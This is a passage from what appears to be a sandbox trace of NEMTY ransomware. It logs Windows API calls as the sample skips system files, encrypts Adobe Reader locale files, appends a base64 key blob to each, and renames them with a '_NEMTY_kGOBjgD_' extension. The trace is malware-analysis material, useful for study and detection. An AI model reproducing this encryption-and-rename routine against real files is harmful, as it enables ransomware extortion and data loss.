pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0175.982] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="IG5331XmxF+HygMGXO9z4cCM1Oge2Dd4RvGEwP7+L1VkJvuQcGXgeBsolRLtrEOF\r\naVjVS7eQIwPvaIytmT2IU/GDLA0V1EuJ8kdQreMW86wnP657QyheoYVl9RM6rnrM\r\nv93PyUc4fheZ5wUvVl7kxHplJa6eNHAqhwfqzUTC05MQuQ2Bw6flPfCKB/6v2+HY\r\nvB95iEdY7l15ddqQ5XREy8WM3sRd7JoQIjkvZj3tEhcQGqWr+ry8Fme+KT8RMUDy\r\nKvwXLPs0Iw9+GGzAj9o5oOZMHQCn1AmcvVi5QDgi6nSJcjFBVS0bZ/Rar/gFS0mx\r\nsW06flAe1Xc0ab6NpEYWuw==\r\n", pcchString=0x653e5dc) returned 1 [0175.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0175.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0175.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.982] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\accessibility.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\accessibility.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.983] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=44032) returned 1 [0175.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xac00) returned 0x6352c48 [0175.983] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.983] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xac00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xac00, lpOverlapped=0x0) returned 1 [0175.987] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.987] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xac00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xac00, lpOverlapped=0x0) returned 1 [0175.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0175.988] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=44032, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xac00 [0175.988] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0175.988] CloseHandle (hObject=0x2e8) returned 1 [0175.988] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0175.988] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.988] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0175.988] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.988] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0175.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0175.988] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0175.988] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0175.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0175.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0175.988] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\accessibility.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\accessibility.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\accessibility.EUQ._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\accessibility.euq._nemty_kgobjgd_")) returned 1 [0175.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0175.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0175.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.989] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x66c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Acroform.EUQ", cAlternateFileName="")) returned 1 [0175.989] lstrcmpiW (lpString1="Acroform.EUQ", lpString2=".") returned 1 [0175.989] lstrcmpiW (lpString1="Acroform.EUQ", lpString2="..") returned 1 [0175.989] lstrcmpiW (lpString1="Acroform.EUQ", lpString2="...") returned 1 [0175.989] lstrcmpiW (lpString1="Acroform.EUQ", lpString2="windows") returned -1 [0175.989] lstrcmpiW (lpString1="Acroform.EUQ", lpString2="$RECYCLE.BIN") returned 1 [0175.989] lstrcmpiW (lpString1="Acroform.EUQ", lpString2="rsa") returned -1 [0175.989] lstrcmpiW (lpString1="Acroform.EUQ", lpString2="NTDETECT.COM") returned -1 [0175.989] lstrcmpiW (lpString1="Acroform.EUQ", lpString2="ntldr") returned -1 [0175.989] lstrcmpiW (lpString1="Acroform.EUQ", lpString2="MSDOS.SYS") returned -1 [0175.989] lstrcmpiW (lpString1="Acroform.EUQ", lpString2="IO.SYS") returned -1 [0175.989] lstrcmpiW (lpString1="Acroform.EUQ", lpString2="boot.ini") returned -1 [0175.989] lstrcmpiW (lpString1="Acroform.EUQ", lpString2="boot.ini") returned -1 [0175.989] lstrcmpiW (lpString1="Acroform.EUQ", lpString2="AUTOEXEC.BAT") returned -1 [0175.989] lstrcmpiW (lpString1="Acroform.EUQ", lpString2="ntuser.dat") returned -1 [0175.989] lstrcmpiW (lpString1="Acroform.EUQ", lpString2="desktop.ini") returned -1 [0175.989] lstrcmpiW (lpString1="Acroform.EUQ", lpString2="CONFIG.SYS") returned -1 [0175.989] lstrcmpiW (lpString1="Acroform.EUQ", lpString2="RECYCLER") returned -1 [0175.989] lstrcmpiW (lpString1="Acroform.EUQ", lpString2="BOOTSECT.BAK") returned -1 [0175.990] lstrcmpiW (lpString1="Acroform.EUQ", lpString2="bootmgr") returned -1 [0175.990] lstrcmpiW (lpString1="Acroform.EUQ", lpString2="programdata") returned -1 [0175.990] lstrcmpiW (lpString1="Acroform.EUQ", lpString2="appdata") returned -1 [0175.990] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.990] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.EUQ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.990] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.EUQ", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.EUQ", lpUsedDefaultChar=0x0) returned 12 [0175.990] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.990] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.EUQ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.990] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.EUQ", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.EUQ", lpUsedDefaultChar=0x0) returned 12 [0175.990] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.990] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.990] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.990] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.EUQ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.990] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.EUQ", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.EUQ", lpUsedDefaultChar=0x0) returned 12 [0175.990] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.990] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.990] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.EUQ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.990] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.EUQ", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.EUQ", lpUsedDefaultChar=0x0) returned 12 [0175.990] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.990] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0175.990] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.990] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0175.990] Sleep (dwMilliseconds=0x5) [0175.997] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c8c9d70, dwHighDateTime=0x1d561e8)) [0175.997] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c8c9d70, dwHighDateTime=0x1d561e8)) [0175.997] GetLastError () returned 0x0 [0175.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.997] GetLastError () returned 0x0 [0175.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.997] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.997] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.997] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0175.997] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="X+ABwHEJuiBVpnaBZymsAUp0Kpr7uO+pEHsTOpgvxfQqG0NbmeKOhYxXFmuvLPQd\r\nDa1nap4LKzxK8Zd4NbSxHiTAh670SxvHI4T1rtp/66M5YqlCGmDCiJHfSYiO2B7b\r\ngFM1N3Kvw1sYj4LtUC2CIscswJGwOqCFSUAwyMYdHp1qCPawwMfYjXpQwAws9x2h\r\n5LKNBtziunqFmqiG2FozBCaVaGKS61MaQ61CxWJWPCpW+lQb83ZKzlGdtd/z0AOy\r\nccQDGxr1ra/Eu+mBMOyNjZYfpLU/Jg32Mdpo04mw+mZwPX/nZsg+GFRcCSgWE2I5\r\n3nTtOiefDEHhevkBzyq1Fg==\r\n", pcchString=0x653e5dc) returned 1 [0175.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0175.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.998] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Acroform.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\acroform.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.998] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=420864) returned 1 [0175.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0175.998] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.998] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0176.007] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.007] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0176.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.007] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=420864, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x66c00 [0176.007] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.009] CloseHandle (hObject=0x2e8) returned 1 [0176.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0176.009] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.009] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0176.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0176.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0176.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.009] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Acroform.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\acroform.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Acroform.EUQ._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\acroform.euq._nemty_kgobjgd_")) returned 1 [0176.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0176.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0176.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.010] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="AdobeCollabSync.EUQ", cAlternateFileName="ADOBEC~1.EUQ")) returned 1 [0176.010] lstrcmpiW (lpString1="AdobeCollabSync.EUQ", lpString2=".") returned 1 [0176.010] lstrcmpiW (lpString1="AdobeCollabSync.EUQ", lpString2="..") returned 1 [0176.010] lstrcmpiW (lpString1="AdobeCollabSync.EUQ", lpString2="...") returned 1 [0176.010] lstrcmpiW (lpString1="AdobeCollabSync.EUQ", lpString2="windows") returned -1 [0176.010] lstrcmpiW (lpString1="AdobeCollabSync.EUQ", lpString2="$RECYCLE.BIN") returned 1 [0176.010] lstrcmpiW (lpString1="AdobeCollabSync.EUQ", lpString2="rsa") returned -1 [0176.010] lstrcmpiW (lpString1="AdobeCollabSync.EUQ", lpString2="NTDETECT.COM") returned -1 [0176.010] lstrcmpiW (lpString1="AdobeCollabSync.EUQ", lpString2="ntldr") returned -1 [0176.010] lstrcmpiW (lpString1="AdobeCollabSync.EUQ", lpString2="MSDOS.SYS") returned -1 [0176.010] lstrcmpiW (lpString1="AdobeCollabSync.EUQ", lpString2="IO.SYS") returned -1 [0176.010] lstrcmpiW (lpString1="AdobeCollabSync.EUQ", lpString2="boot.ini") returned -1 [0176.010] lstrcmpiW (lpString1="AdobeCollabSync.EUQ", lpString2="boot.ini") returned -1 [0176.010] lstrcmpiW (lpString1="AdobeCollabSync.EUQ", lpString2="AUTOEXEC.BAT") returned -1 [0176.010] lstrcmpiW (lpString1="AdobeCollabSync.EUQ", lpString2="ntuser.dat") returned -1 [0176.010] lstrcmpiW (lpString1="AdobeCollabSync.EUQ", lpString2="desktop.ini") returned -1 [0176.010] lstrcmpiW (lpString1="AdobeCollabSync.EUQ", lpString2="CONFIG.SYS") returned -1 [0176.010] lstrcmpiW (lpString1="AdobeCollabSync.EUQ", lpString2="RECYCLER") returned -1 [0176.010] lstrcmpiW (lpString1="AdobeCollabSync.EUQ", lpString2="BOOTSECT.BAK") returned -1 [0176.010] lstrcmpiW (lpString1="AdobeCollabSync.EUQ", lpString2="bootmgr") returned -1 [0176.010] lstrcmpiW (lpString1="AdobeCollabSync.EUQ", lpString2="programdata") returned -1 [0176.010] lstrcmpiW (lpString1="AdobeCollabSync.EUQ", lpString2="appdata") returned -1 [0176.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0176.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.EUQ", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0176.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.EUQ", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.EUQ", lpUsedDefaultChar=0x0) returned 19 [0176.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0176.011] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.EUQ", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0176.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.011] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.EUQ", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.EUQ", lpUsedDefaultChar=0x0) returned 19 [0176.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0176.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0176.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0176.011] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.EUQ", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0176.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.011] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.EUQ", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.EUQ", lpUsedDefaultChar=0x0) returned 19 [0176.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0176.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0176.011] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.EUQ", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0176.011] RtlAllocateHeap (HeapHandle=0x4f90000, 